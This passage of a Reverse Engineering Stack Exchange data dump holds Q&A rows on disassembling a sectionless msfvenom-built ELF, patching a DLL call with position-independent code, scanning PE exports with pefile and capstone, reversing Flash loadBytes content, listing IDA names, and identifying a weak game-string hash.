section headers:          0 (bytes into file)&#xA;  Flags:                             0x0&#xA;  Size of this header:               52 (bytes)&#xA;  Size of program headers:           32 (bytes)&#xA;  Number of program headers:         1&#xA;  Size of section headers:           0 (bytes)&#xA;  Number of section headers:         0&#xA;  Section header string table index: 0&#xA;&#xA;There are no sections in this file.&#xA;&#xA;There are no sections to group in this file.&#xA;&#xA;Program Headers:&#xA;  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align&#xA;  LOAD           0x000000 0x08048000 0x08048000 0x0009b 0x000e2 RWE 0x1000&#xA;&#xA;There is no dynamic section in this file.&#xA;&#xA;There are no relocations in this file.&#xA;&#xA;There are no unwind sections in this file.&#xA;&#xA;No version information found in this file.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how to disassemble it?&lt;/p&gt;&#xA;" OwnerUserId="17915" LastEditorUserId="53" LastEditDate="2017-04-28T12:48:23.727" LastActivityDate="2017-04-28T12:48:23.727" Title="disassemble elf file created by msfvenom" Tags="|disassembly|objdump|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13832" PostTypeId="2" ParentId="13829" CreationDate="2016-10-29T02:43:41.083" Score="6" Body="&lt;p&gt;Knowing how things in C work under the hood will help you if you're familiar with C and use it as your primary programming language, otherwise it's perfectly fine to have x86 asm as your first programing language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a better understanding of the relationship between C and x86 assembly, I recommend reading the 7th chapter of &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1931769222&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hacker disassembling uncovered&lt;/a&gt; (there's a free chm version online).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a reverse engineer you'll need to understand and be fluent with machine code. Knowing C might help because it's relatively low level and forces you to understand machine level concepts such as the stack, pointers, etc. Good grasp of assembly is far more important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way is probably to go to &lt;a href=&quot;http://crackmes.de/&quot; rel=&quot;nofollow noreferrer&quot;&gt;crackmes.de&lt;/a&gt; and other similar sites and starting solving challenges. some challenges there are very novice and some are extremely difficult to solve. Focus on the type of RE that interests you (malware, keygen/cracking, crypto, trainers/mods, complex programs) and once you gained enough experience get something real to work on, even just to take it up as a challenge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: &lt;a href=&quot;http://crackmes.de/&quot; rel=&quot;nofollow noreferrer&quot;&gt;crackmes.de&lt;/a&gt; was taken down some time ago, another decent resource is &lt;a href=&quot;https://tuts4you.com/download.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;tuts4you.com's download section&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-05-04T15:13:53.630" LastActivityDate="2017-05-04T15:13:53.630" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13833" PostTypeId="2" ParentId="13831" CreationDate="2016-10-29T12:01:47.453" Score="2" Body="&lt;p&gt;Use a disassembler which supports ELF files with no sections (&lt;code&gt;objdump&lt;/code&gt; is based on BFD library which cannot handle sectionless ELFs). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, disassemble it as plain binary, not ELF (&lt;code&gt;objdump -b binary -m i386 -D file.elf&lt;/code&gt;) though in that case you'll have to distinguish code from data on your own.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-10-29T12:01:47.453" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13834" PostTypeId="1" AcceptedAnswerId="13837" CreationDate="2016-10-29T14:38:57.380" Score="3" ViewCount="1078" Body="&lt;p&gt;&lt;em&gt;Disclaimer: I am relatively new to this whole RE thing. So I successfully crammed some instructions into the end of an existing DLL and redirected a call.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I actually want to do things with a function argument before calling the original code and try to &lt;code&gt;OutputDebugStringA&lt;/code&gt; it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;OutputDebugStringA&lt;/code&gt; is statically imported by my Dll, so I try to do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call dword ptr ds:[&amp;lt;&amp;amp;OutputDebugStringA&amp;gt;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is an instruction I copy from a usage in the DLL itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this works and is successfully called. But, when I patch the Dll with this instruction, on the next run the address is invalid which leads to an Access Violation and crash. (See red line in picture)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/d97fB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/d97fB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is that so? Shouldn't the IAT entry of the function be always at the same place, relative to where the Dll was loaded? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And how do I fix it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need complicated hacks to find the base address of my module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there some sort of relative far call instruction I am stupidly not aware of?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I think I got it now.&#xA;So I can't be sure that the IAT is always at the same address, not even relative to the ds segment (which makes it kinda useless in my opinion).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can however be sure that the IAT address is always a fixed relative amount away from the code I want to run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I googled PIC techniques under x86 and ended up with this code that seems to work fine so far.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push ebp&#xA;mov ebp,esp&#xA;push eax&#xA;push ecx&#xA;push edx&#xA;push dword ptr ss:[ebp+C]&#xA;call &amp;lt;rcp-be-name.tmplbl&amp;gt;&#xA;pop ebx   ;@tmplbl&#xA;lea eax,dword ptr ds:[ebx+80F] ;the relative offset&#xA;call dword ptr ds:[eax-5] ;dunno why 5&#xA;pop edx&#xA;pop ecx&#xA;pop eax&#xA;push dword ptr ss:[ebp+C] ;the original arguments&#xA;push dword ptr ss:[ebp+8] ;  ...&#xA;call rcp-be-name.644A97D0 ;the original function&#xA;add esp,8&#xA;pop ebp&#xA;ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot!&lt;/p&gt;&#xA;" OwnerUserId="17921" LastEditorUserId="2147" LastEditDate="2017-04-02T10:07:26.253" LastActivityDate="2017-04-02T10:07:26.253" Title="How do I call a statically imported function from a Dll? call dword ptr ds &lt;&gt; not working" Tags="|dll|pe|function-hooking|iat|call|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13835" PostTypeId="2" ParentId="13826" CreationDate="2016-10-29T16:17:02.330" Score="0" Body="&lt;p&gt;I mangaged to solve it using pefile and capstone. Finding a exported function that leads to my target (as suggested above) and then using capstone to disassemble the function and find my way to the target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a nutshell what I did (can of course be beautified etc.):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;import pefile&#xA;from capstone import Cs, CS_ARCH_X86, CS_MODE_32&#xA;&#xA;dll = pefile.PE(sys.argv[1])&#xA;#dll = pefile.PE('C:\Program Files\Common Files\microsoft shared\VBA\VBA7\VBE7.DLL')&#xA;&#xA;&#xA;for export in dll.DIRECTORY_ENTRY_EXPORT.symbols:&#xA;    if export.name == 'rtcInStrChar':&#xA;        exp_addr = export.address&#xA;        break&#xA;&#xA;for imp in dll.DIRECTORY_ENTRY_IMPORT:&#xA;    for entry in imp.imports:&#xA;        if entry.name == 'SysFreeString':&#xA;            imp_addr = entry.address&#xA;            break&#xA;            #print('0x%x - %s' % (entry.address, entry.name))&#xA;&#xA;memory = dll.get_memory_mapped_image()&#xA;&#xA;dsm = Cs(CS_ARCH_X86, CS_MODE_32)&#xA;&#xA;for op in dsm.disasm(memory[exp_addr:exp_addr + 0xA0], (exp_addr + dll.OPTIONAL_HEADER.ImageBase)):&#xA;    if op.mnemonic == 'call':&#xA;        last_call = op.op_str[2:]&#xA;    if op.mnemonic == 'ret':&#xA;        break&#xA;    #print(&quot;0x%x:\t%s\t%s&quot; %(op.address, op.mnemonic, op.op_str))&#xA;&#xA;next_func = int(last_call, 16) - dll.OPTIONAL_HEADER.ImageBase&#xA;&#xA;calls = 0&#xA;call_free = 0&#xA;for op in dsm.disasm(memory[next_func:next_func + 0x100], (next_func + dll.OPTIONAL_HEADER.ImageBase)):&#xA;    print(&quot;0x%x:\t%s\t%s&quot; %(op.address, op.mnemonic, op.op_str))&#xA;    if op.mnemonic == 'call' and '0x%x' % imp_addr in op.op_str:&#xA;        call_free += 1&#xA;    if call_free == 2:&#xA;        print('GOT IT: 0x%x' % last_call)&#xA;        break&#xA;    if op.mnemonic == 'call':&#xA;        last_call = op.address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17903" LastActivityDate="2016-10-29T16:17:02.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13836" PostTypeId="1" AcceptedAnswerId="13843" CreationDate="2016-10-29T20:54:08.127" Score="2" ViewCount="544" Body="&lt;p&gt;I've always been more knowledgeable about binary reversing -- x86/x64 type stuff -- so lately I decided I wanted to try reversing some flash.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Used SoThink to get the .AS from a SWF, but the SWF is pulling data from a server. It's then de-obfuscating that data and .loadBytes'ing it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've made a file of the de-obfuscated data (via FileReference.save()), but it isn't a valid, stand-alone flash file.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I go about decompiling this dynamically-loaded flash byte array, or at least transforming it into something I can work with?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT for clarity:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;var foo = new Loader(); // Is later addChild'ed  &#xA;var bar:LoaderContext = new LoaderContext(false, ApplicationDomain.currentDomain);&#xA;&#xA;foo.contentLoaderInfo.parameters.parent = this;&#xA;foo.contentLoaderInfo.addEventListener(Event.COMPLETE, fooFunc);&#xA;foo.contentLoaderInfo.addEventListener(&quot;securityError&quot;, this.onSecurityError);&#xA;foo.loadBytes(someByteArray, bar); // 'someByteArray' is the deobfuscated stuff from server&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the above situation, the 'fooFunc' is never called, but based on the comments/feedback provided, it appears as though the file has already been fully loaded once 'fooFunc' happens.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This leads me to believe that 'someByteArray' is binary data that is loaded dynamically into the swf, but the 'someByteArray' data is not valid SWF, if that makes sense.&lt;/p&gt;&#xA;" OwnerUserId="17927" LastEditorUserId="17927" LastEditDate="2016-10-29T21:45:22.810" LastActivityDate="2016-10-31T18:58:33.240" Title="Reversing Flash Files that use .loadBytes()" Tags="|actionscript|flash|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13837" PostTypeId="2" ParentId="13834" CreationDate="2016-10-29T22:04:47.360" Score="2" Body="&lt;p&gt;It appears you've already guessed what the actual issue is - your call instruction is using direct addressing and not relative addressing. This means that when a DLL changes it's location between executions you're still trying to execute the same absolute value, resulting in different types of errors depending on the content of the actual content in that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically to your question - &lt;code&gt;0xFF 15&lt;/code&gt; is an absolute, near, 4 byte immediate call. &lt;code&gt;0xFF&lt;/code&gt; is used for absolute calls, while &lt;code&gt;0x8E&lt;/code&gt; is used for relative calls (as you can see in your image, at the yellow highlighted line).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replacing the single byte &lt;code&gt;0xFF&lt;/code&gt; will turn the instruction to a relative instruction, meaning the call will be to &lt;code&gt;$+5e01d0e4&lt;/code&gt; instead of to &lt;code&gt;0x5e01d0e4&lt;/code&gt;. The dollar sign (&lt;code&gt;$&lt;/code&gt;) is a conventional representation of &quot;the address of the next instruction&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because how the x86 CPU (and many other CPUs) works, it is easier to first advance to the next instruction, and only then carry out any &lt;code&gt;EIP&lt;/code&gt; modifying operations, thus having relative operations modify the &lt;code&gt;EIP&lt;/code&gt; values of the &lt;em&gt;following&lt;/em&gt; instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replacing the four last bytes with any signed integer will make the call instruction add that number (thus negative numbers are used to call a smaller address value) to the address of the next instruction. For example, the byte code &lt;code&gt;FF 15 EA FF FF FF&lt;/code&gt; will be translated to a six byte long instruction &lt;code&gt;call $-6&lt;/code&gt;, creating a &lt;code&gt;call&lt;/code&gt; that calls itself, eventually faulting on a stack overflow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A method simpler than manually editing instruction byte code could be using olly's assemble command with a &lt;code&gt;$&lt;/code&gt; sign to indicate a relative instruction.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-10-29T22:04:47.360" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13838" PostTypeId="2" ParentId="133" CreationDate="2016-10-29T22:14:48.863" Score="1" Body="&lt;p&gt;I really like the Sothink's &lt;a href=&quot;http://www.sothink.com/product/flashdecompiler/&quot; rel=&quot;nofollow&quot;&gt;Flash Decompiler&lt;/a&gt;. Although it's commercial it's really worth it if you occasionally reverse engineer flash files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The full version (which I own and use) can decompile whole SWF files back to FLA, supports latest versions of AS (when other free tools were not), lets you modify and run SWF files as well as create a modified SWF version, allows editing all resource types (not just code), and has a full-blown feature-rich GUI.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-10-29T22:14:48.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13840" PostTypeId="2" ParentId="133" CreationDate="2016-10-30T23:18:26.043" Score="2" Body="&lt;p&gt;If you care mostly about the raw code, I can recommend you RABCDAsm&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/CyberShadow/RABCDAsm&quot; rel=&quot;nofollow&quot;&gt;https://github.com/CyberShadow/RABCDAsm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will generate very workable Actionscript bytecode and also allows you to patch it back.&lt;/p&gt;&#xA;" OwnerUserId="17921" LastActivityDate="2016-10-30T23:18:26.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13841" PostTypeId="1" CreationDate="2016-10-31T18:36:39.660" Score="0" ViewCount="51" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TWEgD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TWEgD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, IDA disassembly shows &lt;code&gt;r0@1&lt;/code&gt;, &lt;code&gt;r5@5&lt;/code&gt;, &lt;code&gt;[sp+0h] [bp-18h]@7&lt;/code&gt; etc. Presuming &lt;code&gt;r0&lt;/code&gt;, &lt;code&gt;r5&lt;/code&gt; to be registers and &lt;code&gt;[sp+0h] [bp-18h]&lt;/code&gt; to be a memory location, what does the number at the end signify?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2016-10-31T18:36:39.660" Title="What does the number after '@' symbol mean in IDA disassembly?" Tags="|ida|disassembly|disassemblers|" AnswerCount="0" CommentCount="2" ClosedDate="2016-10-31T19:03:13.590" ContentLicense="CC BY-SA 3.0" />
  <row Id="13842" PostTypeId="1" CreationDate="2016-10-31T18:47:37.353" Score="1" ViewCount="96" Body="&lt;p&gt;I have a file which has been encrypted with some unknown algorithm. Doing research on the file format, I stumbled across a website that claimed (without explaining why) that these files were encrypted with 32bit Blowfish. This website also speculates that the magic smoke is contained in a .iff file with a specific name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turns out that the .iff file is embedded in a plaintext portion of the encrypted file. I have clawed this out, and it hints at it being Blowfish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 4 byte header is &quot;BLFS&quot;. The next int32 after that is 0x80. Then follows 16 bytes of random binary string (128 bits). Then, two more int32s... 0x75 and 0x01. Following that, 120 bytes of binary string (not 117?), and 4 nulls. The last bit I think is safe to assume as padding, as the parent file requires some weird byte-alignment scheme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have many examples of these encrypted files. The 128bit string changes, file to file. The 120byte string changes, file to file. BLFS, 0x80, 0x75, and 0x01 all remain constant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a cryptography noob. The 120byte string is far too long to be a Blowfish key, which maxes out at 56 bytes. The 128bit string is a better bet (it has that nice round power-of-two number that the original implementor would have liked). I know that an algorithm like this would also require an iv, but aren't those short? In some cases, just a byte?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this iff file I've extracted the magic sauce, and is it the sort that I think it is? I'm not able to make sense of what I'm seeing, and I'm not sure what research I need to do next to accomplish that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apologies if this question isn't a fit for this SE, please comment and let me know that before closing.&lt;/p&gt;&#xA;" OwnerUserId="17933" LastActivityDate="2016-10-31T18:47:37.353" Title="Do any of these details contradict the idea that theory that this file is encrypted with Blowfish?" Tags="|file-format|decryption|cryptanalysis|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="13843" PostTypeId="2" ParentId="13836" CreationDate="2016-10-31T18:58:33.240" Score="1" Body="&lt;p&gt;Turns out this was a problem on my end.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those curious: it turns out that the file I wanted to load &lt;strong&gt;was&lt;/strong&gt; a pure .SWF file. I don't have enough experience with Flash to have immediately known a Loader().loadBytes() with a data type of &quot;data.BINARY&quot; was necessarily going to be a Flash file (as opposed to some form of assembly).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file was obfuscated with an encryption scheme. The key was hardcoded. &lt;strong&gt;Turns out I typoed the key when I went to de-obfuscate the file.&lt;/strong&gt; 9 hours of racking my brain later, I start over from scratch, mark the correct key, and voila: &lt;strong&gt;my de-obfuscated file was a standard .SWF.&lt;/strong&gt; I decompiled it normally.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for those who tried to help. Unfortunate that it turned out to be a false lead.&lt;/p&gt;&#xA;" OwnerUserId="17927" LastActivityDate="2016-10-31T18:58:33.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13844" PostTypeId="1" AcceptedAnswerId="13845" CreationDate="2016-10-31T23:22:55.003" Score="1" ViewCount="1361" Body="&lt;p&gt;Follower this &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/13831/disassemble-elf-file-created-by-msfvenom/13833&quot;&gt;question&lt;/a&gt; (thanks &quot;Igor Skochinsky&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when use&#xA;&lt;code&gt;objdump -b binary ...&lt;/code&gt; we can't see correct disassemble in section-less &lt;code&gt;elf&lt;/code&gt; file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because &lt;code&gt;objdump&lt;/code&gt; disassemble Header and code and we see false disassemble code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What better way to do it right there?&lt;/p&gt;&#xA;" OwnerUserId="17915" LastEditorUserId="53" LastEditDate="2017-04-28T12:48:09.497" LastActivityDate="2018-03-09T20:07:35.390" Title="disassemble elf sectionless files" Tags="|disassembly|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13845" PostTypeId="2" ParentId="13844" CreationDate="2016-10-31T23:22:55.003" Score="3" Body="&lt;p&gt;I write mini &lt;code&gt;ruby&lt;/code&gt; script for dump DATA from &lt;code&gt;EP&lt;/code&gt; to &lt;code&gt;end&lt;/code&gt; of file and save it to another file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then we can disassemble it with &lt;code&gt;objdump -b binary ..&lt;/code&gt; very nice&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ &#xA;$ objdump -b binary -m i386 -D RAW&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this script read ELF file and find &lt;code&gt;endian&lt;/code&gt; mode (&lt;code&gt;little&lt;/code&gt; or &lt;code&gt;Big&lt;/code&gt;) then find &lt;code&gt;EP&lt;/code&gt; and dump it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in this picture we can see difference between this command's&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iUABo.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iUABo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;we can set and change &lt;code&gt;EP&lt;/code&gt; from &lt;code&gt;-E&lt;/code&gt; , and &lt;code&gt;length&lt;/code&gt; data of dump from &lt;code&gt;-l &quot;end-1&quot;&lt;/code&gt; or set start of dump without calculate &lt;code&gt;EP&lt;/code&gt; with &lt;code&gt;-s&lt;/code&gt; command&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[downlaod and fork me][2]&lt;/p&gt;&#xA;" OwnerUserId="17915" LastEditorUserId="17915" LastEditDate="2018-03-09T20:07:35.390" LastActivityDate="2018-03-09T20:07:35.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13846" PostTypeId="1" CreationDate="2016-11-01T07:40:45.910" Score="4" ViewCount="6142" Body="&lt;p&gt;IDA allows one to rename a program entity (e.g. register, variable, function) using &lt;code&gt;N&lt;/code&gt; shortcut. Is it possible to get a list of such user-defined names in IDA?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastEditorUserId="2147" LastEditDate="2016-11-12T17:18:41.097" LastActivityDate="2020-02-26T19:25:17.167" Title="Is it possible to get a list of user-defined names in IDA?" Tags="|ida|idapython|python|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13847" PostTypeId="1" AcceptedAnswerId="13882" CreationDate="2016-11-01T08:07:39.993" Score="0" ViewCount="209" Body="&lt;p&gt;I'm reverse-engineering a string translation file format for a particular game. It's ultimately just an ID-to-string map, where the IDs are four-byte integers. There are 1935 IDs in total; you can see them all &lt;a href=&quot;http://pastebin.com/raw/0aCHUxGP&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing that I notice is that &lt;a href=&quot;http://pastebin.com/raw/Bj2EegbJ&quot; rel=&quot;nofollow&quot;&gt;when written in base 16&lt;/a&gt;, 115 of them have the first digit set to 0, roughly what you'd expect from a list of 1935 random numbers. But unlike 1935 random numbers, 19 IDs have the entire upper byte as 0, 8 have the upper three digits as 0, 6 have the upper four digits as 0, 5 have the upper five digits as 0, and one is less than 256!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, the strings with the dozen or so smallest IDs are mostly very short strings (although not all short strings have small IDs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This leads me to conclude that these numerical IDs were produced by some very weak &amp;amp; simple hash function operating on strings (like &quot;text1&quot; or something), where the IDs for short strings were often just the string itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, strings that occur in sequence in the game (consecutive lines of dialogue) very often have consecutive IDs in ascending order (but not always). This makes sense if the IDs are hashes of string keys; the original strings for a given situation would presumably have looked something like &quot;situation_text_1&quot;, &quot;situation_text_2&quot;, and so on. A weak hash algorithm could easily have this effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where I'm stuck. From what I can tell, the other files in the game refer to these strings by numerical ID, not by string IDs. I'm unsure if original string keys or the hash function itself exist anywhere in the game. As such, I don't have any way to test controlled input values -- I just have to go on those 1935 examples (plus a few more that can be found in a leftover debug file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the corresponding strings for the smallest IDs. I'm skipping ones with text very specific to this particular game.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;20: [Game copyright notice. I think this is the hash of the empty string.]&lt;/li&gt;&#xA;&lt;li&gt;576: &quot;5&quot;&lt;/li&gt;&#xA;&lt;li&gt;614: &quot;10&quot;&lt;/li&gt;&#xA;&lt;li&gt;2681: &quot;25&quot;&lt;/li&gt;&#xA;&lt;li&gt;2684: &quot;OK&quot;&lt;/li&gt;&#xA;&lt;li&gt;53444: &quot;On&quot;&lt;/li&gt;&#xA;&lt;li&gt;87305: [Skipped; two words]&lt;/li&gt;&#xA;&lt;li&gt;88410: &quot;NEW&quot;&lt;/li&gt;&#xA;&lt;li&gt;2444912: &quot;Off&quot;&lt;/li&gt;&#xA;&lt;li&gt;2553265: &quot;ɓ Back&quot; (This is allowed because strings are UTF-16.)&lt;/li&gt;&#xA;&lt;li&gt;2661022: &quot;Normal&quot;&lt;/li&gt;&#xA;&lt;li&gt;2736539: &quot;Expert&quot;&lt;/li&gt;&#xA;&lt;li&gt;2963284: [Skipped; a sentence with markup]&lt;/li&gt;&#xA;&lt;li&gt;3020267: &quot;POCS&quot; (I have no idea what this means.)&lt;/li&gt;&#xA;&lt;li&gt;7314642: &quot;Rank:&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Do you have any ideas about what the hash algorithm could be?&lt;/p&gt;&#xA;" OwnerUserId="17939" LastActivityDate="2016-11-08T09:52:50.240" Title="Identifying a very weak hash algorithm" Tags="|static-analysis|strings|hash-functions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13848" PostTypeId="2" ParentId="13846" CreationDate="2016-11-01T12:28:15.897" Score="3" Body="&lt;p&gt;You can use View-&gt;Open subview-&gt;Names or &lt;kbd&gt;Shift-F4&lt;/kbd&gt;. Note that the list included &lt;em&gt;all&lt;/em&gt; names, both user-defined as well as generated by IDA (e.g. ASCII string names).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also related &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/13454/get-a-list-of-global-variables-with-ida-python?rq=1&quot;&gt;Get a list of global variables with IDA python&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-11-01T12:28:15.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13849" PostTypeId="2" ParentId="13847" CreationDate="2016-11-01T12:39:41.570" Score="1" Body="&lt;p&gt;From your description, I suspect these are not hashes but just randomly-generated numerical IDs, incremented as new strings were added around the same place to the program (possibly because programmer was too lazy to regenerate a completely new ID). There is a small possibility that the ID depends on the string contents but I doubt it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, if you have recovered the ID-&gt;String mapping, I don't see why you need to know how exactly they were generated. Just translate the strings and you should be done.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-11-01T12:39:41.570" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13850" PostTypeId="2" ParentId="13846" CreationDate="2016-11-01T15:38:16.380" Score="6" Body="&lt;p&gt;The &lt;code&gt;idautils.Names&lt;/code&gt; function might be of interest to you, as it returns a list of &lt;code&gt;(ea, name)&lt;/code&gt; tuples for all names defined in the IDB and the ea at which they're located.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, you can use the answer to the question Igor linked (&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/13454/get-a-list-of-global-variables-with-ida-python&quot;&gt;Get a list of global variables with IDA python&lt;/a&gt;) to get a list of all functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the &lt;code&gt;ea&lt;/code&gt;s you can do the following to figure out if a function or ea was named by the user:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def is_user_name(ea):&#xA;  f = idc.GetFlags(ea)&#xA;  return idc.hasUserName(f)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This function will return true if an EA has a name set by the user either programatically or manually.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-09-24T03:33:07.487" LastActivityDate="2017-09-24T03:33:07.487" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
